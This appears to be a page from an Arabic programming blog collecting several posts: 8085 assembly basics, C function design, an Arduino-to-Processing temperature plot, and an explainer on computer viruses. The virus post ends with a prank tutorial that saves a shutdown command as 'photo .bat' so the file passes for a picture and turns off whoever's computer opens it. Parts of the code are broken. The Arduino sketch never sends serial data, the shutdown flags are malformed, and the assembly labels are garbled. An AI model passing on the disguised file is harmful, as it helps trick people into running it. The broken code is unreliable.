المجموعه الأولى من ايعازات المعالج8085 ... First instruction of 8085 microprocessor

10/16/2015 1 تعليق
1_Data Trnasfer group
**********************
تتمثل بأيعازات نقل البيانات بين  الريجسترات او الذاكره وكذلك خزن البيانات في الذاكره او الريجسترات ..
اولاً :
MOV r1,r2
 وتعني نقل محتويات الريجستر 2 الى الريجستر 1
مثال:انقل محتويات الريجستر B الى الريجستر A
الحل:
MOV A,B
والنقل يكون بصيغة نسخ محتويات وليس نقل...
*************************************
MOV r,M
MOV M,r
نقل البيانات بين الذاكره والرجسترات والعكس ..
************************************
ثانياً:
MVI r,xx
خزن قيمه في الريجستر وتكون دائماً بنظام السداسي عشر واقى قيمه ممكن خزنها في الريجستر الواحد او الذاكره هي FF
وما تعادل 255 بالنظام العشري
مثال:
اخزن العدد 3B في الريجستر C
الحل:
MVI C,3BH
*****************************
وممكن استخدامه لخزن البيانات في الذاكره ..
****************************
ثالثاً:
LXI rp,XXXXH
ويستخدم لخزن البيانات في الريجسترات المزدوجه مثل HL,BC,DE
وعند استخدامه نقوم بوضع الريجستر الاول فقط Hاو Dاو B

واقصى قيمه ممكن خزنها هي FFFFH
مثال:
خزن 4845H  في الريجستر D
الحل:
LXI D,4845H
وهذا يعني انه تم خزن 48 في D و45 في E













مثال:
خزن العدد 30H في العنوان 5000H
الحل:
LXI H,5000H
MVI M,30H
فائدة LXI H,5000 لكي نؤشر على الموقع المحدد لأنه دائماً الريجسترين HL  نستخدمهم كمؤشر للذاكره

رابعاً:
XCHG
 يستخدم لنقل محتويات الريجستر المزدوج Dالى الريجستر المزدوج H









*****************************************


BY:Hamza Mohammed
member of:
information sources scientific
Association

تابعنا على :
https://www.facebook.com/programmer1185 
تابع القراءة

تعلم تصميم الدوال في لغة السي ..design function in c language

9/19/2015 0تعليقات
تصميم الدوال في لغة السي ..
الهدف من تصميم الدوال هو لتبسيط كتابة البرنامج حيث يقوم المبرمج بكتابة دوال على شكل برامج فرعيه وعند الحاجه اليها يتم استدعائها هذه الطريقه تُسَهل بناء البرنامج وكذلك تتبع الخطأ أن وجد ..
الصيغه العامه للداله (الهيكل) هو كالتالي:





 ونقوم بكتابة برنامج الداله او بمعنى اخر الوظيفه التي ستقوم بها الداله بداخل القوسين { } وتنتهي الداله بـreturn والتي تعني الأرجاع سنوضحها بعد اخذ المثال الأول ...
والآن سنأخذ مثال لتصميم داله تقوم بجمع عددين  ..




















عندما نكتب return بنهاية الداله اي ان الداله ستقوم بأرجاع قيمه دائماً هذا النوع من الدوال يسمح بأرجاع قيمه واحده فقط
ونكتب داخل return اسم المتغير الذي قمنا بخزن وظيفة الداله بداخله ,في هذا المثال قمنا بأرجاع sum  لأن معادلة الداله او الوظيفه التي ستقوم بها تم خزنها في المتغير sum  وحصل هنا ان اسم المتغير بنفس اسم الداله وهذا لا يهم ممكن ذلك ...
**سنأخذ مثال لتصميم داله تقوم بأيجاد العدد الأكبر لعددين مدخلين :
 لو نلاحظ هنا انه ممكن استخدام الجمل الشرطيه في تصميم الدوال وكذلك حلقات التكرار وممكن المصفوفات .. الخ 
أذ أن الدوال هي برامج كامله ويتم استدعائها عند الحاجه اليها ..
أستدعاء الداله يكون بكتابة اسم الداله والمتغيرات المدخله بين قوسين ( ) كما في المثالين السابقين ..
by:
Hamza mohammed
تابع القراءة

ماهو المعالج 8085

9/15/2015 14تعليقات
ماهو المعالج 8085 ؟
بأختصار ..
المعالج 8085 او ما يسمى microprocessor يحتوي على ذاكره عشوائيه RAM و7  مُسجلات Register يتم برمجتهُ بلغة التجميع او ما تُسمى الأسمبلي وتعتبر من اللغات ذات المستوى الواطىء أذ أنها لاتحتوي على أيعازات متقدمه مثل  الضرب او القسمه  او الشرط  ولكن يتم بناء الأيعاز أذ أن الضرب هو عملية جمع متكرر والقسمه هي عملية طرح متكرر ..
سُمي بالمايكروبروسيسر وذلك لصغر حجمه المعالج 8085 كَفكره يشبه عمل المتحكمات الدقيقه في الوقت الحاضر PIC_MICRO CONTROLLER ولكن المعالج 8085 يعتبر من المعالجات القديمه يمكن من خلاله تصميم معادلات رياضيه ,اشارات تحكم,مصابيح...ألخ
يعمل بتردد 3MHZ يتم توليد التردد عن طريق أضافة crystal oscillator
التي توصل الى اطراف المعالج  x1&x2 ..
كذلك يحتوي على النواقل التي تقوم بربط وحدات الأدخال والأخراج وبين المعالج والذاكره  كما موضح بالصور نهاية المقاله .. 
المسجلات هي :
الAccumulator او الـ A والذي يعتبر من المسجلات المهمه مميزاته له أرتباط مباشر مع الذاكره (الميموري) استخدامه كشرط اساسي مع ايعازات المنطق والايعازات الرياضيه وكذلك عند استلام وارسال البيانات ..
المُسجلات المزدوجه BC ,HL,DE
ممكن أستخدامها بصوره مُنفَرَده أو مزدوجه ..
الأيعازات :
تقسم الأيعازات بصوره أساسيه الى اربعة مجاميع اساسيه :
1_مجموعة نقل البيانات (تحوي على ايعازات نقل البيانات من مسجل الى آخر او من مُسجل الى الذاكره او العكس )
2_مجموعة المنطق(كاالبوابات المنطقيه اوأيعازات المنطق)
3_مجموعة الدوال الرياضيه (تحوي على ايعازات الجمع والطرح)
4_مجموعة القفر (تحوي على دوال القفز أذا ان لغة التجميع لا تحوي على جمل شرطيه if  ولكن تحتوي على ايعازات قفز )
البرمجه:
البرنامج بصوره اساسيه ممكن ان يكون من جزئين:
الجزء الأول هو البرنامج الرئيسي والجزء الثاني هو البرامج الفرعيه (كعمل الدوال في لغة السي++ والماتلاب)
ويتم استدعاءه حسب ايعازات الـ  CALL XXXXH
حيث أن XXXX تمثل موقعاً من مواقع الذاكره يخُزن بها البرنامج ..
عند تحويل الكود من أيعازات مكتوبه الى كود يفهمهُ المعالج نقوم بأستخدام ما يُسمى operational code ويختصر ب op code
اذ أن لكل ايعاز من ايعازات اللغه رقم بنظام الHexa  يكافئه ولتعلم كيفية التعامل مع محاكي المعالج انظُر الى الفيديو التالي ..
https://www.youtube.com/watch?v=ACthjdwQFRg

نظام العدد :
بصوره أساسيه التعامل يكون بالنظام السداسي عشر Hexa حيث أن كل موقع ذاكره يحتوي على  8_بت أو ما يعادل 1_بايت وكل عنوان ذاكره مكون من 2_بايت اي 16_بت وكذلك الريجسترات المزدوجه تحتوي على بيانات من 16_بت اي ما يعادل 2_بايت اما الريجسترات المفرده فتحوي 8_بت ...
الصور التاليه توضح ماهو المعالج8085 وكذلك الوحدات الأساسيه التي يتكون منها ....









لزيارة صفحتنا على الفيس بوك
https://www.facebook.com/programmer1185
*************************************************
By:Hamza Mohammed





تابع القراءة

Virus فايروسات الكومبيوتر ..

8/18/2015 1 تعليق

فايروس الحاسوب ..

ماهو الفايروس؟

الفايروس هو برنامج خفي hidden program  يصمم خارجياً بهدف اصابة الكومبيوتر وتختلف الفايروسات من ناحية وظائفها فمنها ما يقوم بحذف الملفات او التعديل الغير مرغوب فيه او تخريب النظام وفقاً للأكواد البرمجيه التي صُممت منها الفايروسات , للفايروسات عدة تأثيرات على الكومبيوتر  مثلاً :

1_تقليل اداء الحاسوب 

2_ايقاف تشغيل الجهاز تلقائياً واعادة تشغيله  كل فتره معينه حسب تصميم الفايروس

3_تعذر الوصول الى الملفات المخزونه اواخفائها 

4_حذف ملفات عامه او ملفات تخص النظام 

5_مشاكل في التطبيقات المحمله 

6_ممكن ارسال بيانات شخصيه من الحاسب الى عنوان معين مثل  ip

  









خصائص تمتاز بها الفايروسات ..
1_القدره التناسخ والانتشار بمختلف انحاء الكومبيوتر
2_يمكن ان تنتقل من حاسوب الى آخر 
3_ممكن الانتقال من قطع الرام الخارجي SD وكذلك الفلاشات 
ومن الفايروسات الشهيره من هذه القطع هي تحويل الملفات والمجلدات الى short cut 

المكونات الأساسيه للفايروس ..  
1_آلية النسخ تجعل الفايروس ينسخ نفسه بنفسه 
2_آلية التخفي التي تجعله hidden خَفي
3_آلية التنشيط التي تجعل الفايروس Active element عنصر فعال قابل للأنتشار في الحاسوب وبمختلف الأماكن 
4لية التنفيذ التي تقوم بتنفيذ عمل الفايروس بعد التنشيط ليقوم بالوظائف التي صُمَم لأجل القيام بها ..   

تصنيف الفايروسات ...
 تُصَنف الفايروسات الى :
1_الفايروس 
2_الدوده
3_حصان طرواده 

الفايروس:يصمم بأمتداد ملف scr,pif,bat,exe,com هدفه الحاق الضرر بالحاسوب حسب الأكواد التي صُمم منها للقيام بوظيفته الاصابه فيه ممكن من خلال تحميل ملف من الانترنت او استخدام cd او DVD او رام او فلاش ..

الدوده:تنتشر عبر شبكات الانترنت كما حدث سابقاً على موقع Facebook  عند الضغط على روابط ملغمه بعد ذلك يتم نشر روابط او صور في المجموعات والصفحات وكذلك مشاركة روابط او صور مع الاصدقاء 

حصان طرواده:النوع الاخطر والذي يأتي بصيغة ملف مُرفق مع برنامج مثلاً دون العلم بوجوده حيث له قابيله الاندماج مع البرنامج ليكون جزء منه وسُميَ بهذا الاسم نسبَةً الى القُصه الشهيره لحصان طرواده حيث أختبأ الجنود اليونان بداخله واستطاعوا اقتحام مدينة طرواده هنا يختبئ في برنامج ليقتحم حاسوبك :) 

الحمايه من الفايروسات ..
1_تجنب فتح ملفات مجهوله خصوصاً على البريد الألكتروني
2_تجنب استخدام اجهزة الفلاش والرامات وكذلك الاقراص الغير موثوق بها 
3_تجنب الدخول الى مواقع انترنت غير موثوق فيها مثل مدونات ومواقع الهكرز وكذلك تجنب استخدام ملفات تفعيل (تسجيل) البرامج الغير مفعله من الشركه المُنتجه 
4_استخدام مضاد فايروسات مناسب ويفضل ان يكون orginal 
وممكن استخدام برنامج مضاد من مايكروسوفت Microsoft security 
مجاني 100% ولا يحتاج الى تفعيل 


لنَقوم بأنشاء فايروس شبه ان يكون ضاراً ...


 



أولاً :نقوم بفتح notepad 

ثانياً: نقوم بكتابة الكود

shutdown -s- t

بعد ذلك نقوم بخزن الملف كالتالي :

photo .bat 

يجب وضع فراغ بين photo والـ bat. 

وممكن ان تقوم بالنسخ واللصق للكود واسم وامتداد الخزن .. 

بعد ذلك سيكون جاهزاً لأطفاء الحاسوب عند الضغط عليه ^_^

                               Hamza mohammed

  A member of the headwaters of Scientific Information Society

                          Al_mustansiriya university        

                                     . Electrial eng. dep 

 

                                                                     

 

   

          


 

تابع القراءة

store 100 random numbers in memory start with 7000

8/01/2015 0تعليقات

**assembly 8085**
**program to store 100 random numbers in memory start with 7000 **

**prepared by Hamza Mohammed**
‪#‎manager‬
LXI H,7000H
MVI A,00H
MOV M,A#:
INR A
INR A
INX H
CPI 64H
JZ END
#JMP
END RST1
تابع القراءة

Connect Arduino with Processing

7/16/2015 0تعليقات

ARDUINO AND PROCESSING 

HAMZA MOhammed

الأردوينو ولغة المعالجه ..

المشروع التالي يبين لنا كيفية رسم curve لدرجات الحراره عن طريق لغة الprocessing 


المواد المستخدمه :
1_حساس حراره lm35 او اي نوع آخر
2_قطعة اردوينو 
3_اسلاك توصيل



كود الأردوينو  ..


float temp;
int tempPin = 5;

void setup() 
{
}
void loop() 
{
  temp = analogRead(tempPin);
  temp = temp * 0.48828125;
}

كود الـprocessing
import processing.serial.*;
 PFont f;
 PFont F;
 Serial myPort;        // The serial port
 int xPos = 40;         // horizontal position of the graph

 void setup () {
 // set the window size:  and Font size
 f = createFont("Arial",12,true);
 F = createFont("Arial",24,true);
 size(700, 600);       

 // List all the available serial ports
 println(Serial.list());
 myPort = new Serial(this, Serial.list()[0], 9600);
  myPort.bufferUntil('\n');
 // set inital background:
 background(70);
 }
 void draw ()
 {
   // everything happens in the serialEvent()
 }

 void serialEvent (Serial myPort) {
 // get the ASCII string:
 String inString = myPort.readStringUntil('\n');

 if (inString != null) {
 // trim off any whitespace:

 print("Temperature: ");
 print(inString);
 println("Degree Celcius");
 inString = trim(inString);

 // convert to an int and map to the screen height:
 float inByte = float(inString+(char)9);
 inByte = map(inByte, 0,117, 0, height);

 println(inByte);

  stroke(175);                       // temperature line
  line(40,height-40,40,0);
 
  stroke(175);                          // Time line
  line(40,height-40,width,height-40);
 
  stroke(100,100,255);                          // 30 degree line
  line(40,height-194,width,height-194);

 stroke(100,100,255);                          // 60 degree line
  line(40,height-344,width,height-344);

  textFont(F);      
  fill(255);

 textAlign(RIGHT);
  text("Temperature Plot Using Proccessing",680,40);
 
  textAlign(RIGHT);
  text("Temperature Plot Using Proccessing",680,40);
 
  textAlign(RIGHT);
  text("By Hamza Mohammed Al_mustansiriya",653,70);

   textAlign(RIGHT);
  text("TEMP",70,40);                        
 
  textAlign(RIGHT);
  text("TIME --->",650,580);   
 
 
 
   textAlign(RIGHT);
  text(inString,500,200);

   textAlign(RIGHT);
  text(" Degree Celsuis",560,230);
 
 
  fill(0);
 // int j;
  stroke(255);  
  for(int j=500;j>430;j--)
  {
  line(j,height-398,j,height-425);
  }
  stroke(0,0,0);
  textAlign(RIGHT);
  text(inString,495,200);

 
 fill(240);
 textFont(f);

  textAlign(RIGHT);
  text("(In Degree)",140,40);
 
  textAlign(RIGHT);                 // 100 degree
  text("100 -",40,60);
 
   textAlign(RIGHT);                // 90 degree
  text("90 -",40,110);
 
   textAlign(RIGHT);                // 80 degree
  text("80 -",40,160);
 
   textAlign(RIGHT);                 // 70 degree
  text("70 -",40,210);
 
   textAlign(RIGHT);                // 60 degree
  text("60 -",40,260);
 
   textAlign(RIGHT);               // 50 degree
  text("50 -",40,310);
 
   textAlign(RIGHT);                 // 40 degree
  text("40 -",40,360);
 
   textAlign(RIGHT);
  text("30 -",40,410);
 
   textAlign(RIGHT);
  text("20 -",40,460);
 
   textAlign(RIGHT);
  text("10 -",40,510);
 
  textAlign(RIGHT);
  text("0 -",40,560);

 /*---- scale between 30 degree to 40 degree------*/
 
  textAlign(RIGHT);
  text("   -",40,370);
 
  textAlign(RIGHT);
  text("   -",40,380);
 
  textAlign(RIGHT);
  text("   -",40,390);
 
  textAlign(RIGHT);
  text("   -",40,400);
 
 // textAlign(RIGHT);
 // text("0 -",40,360);

 // draw the line:
 int shift=40;            // set trace origin
 stroke(255,0,0);              // trace colour
 for(int i=0;i<2;i++)
 {
// line(xPos, height-inByte-1, xPos, height - inByte);
   line(xPos, height-inByte-(shift+2), xPos, height-inByte-shift);
   xPos++;
 }
 if (xPos >= width)         //  go back to begining
 {
 xPos = 40;
 background(100);
 }
 }
 }
قم بنسخ الاكواد والصقها كل في مكانه 






تابع القراءة

جميع الحقوق محفوظة ©2013-2014 | ، | Privacy Policy

Programmers555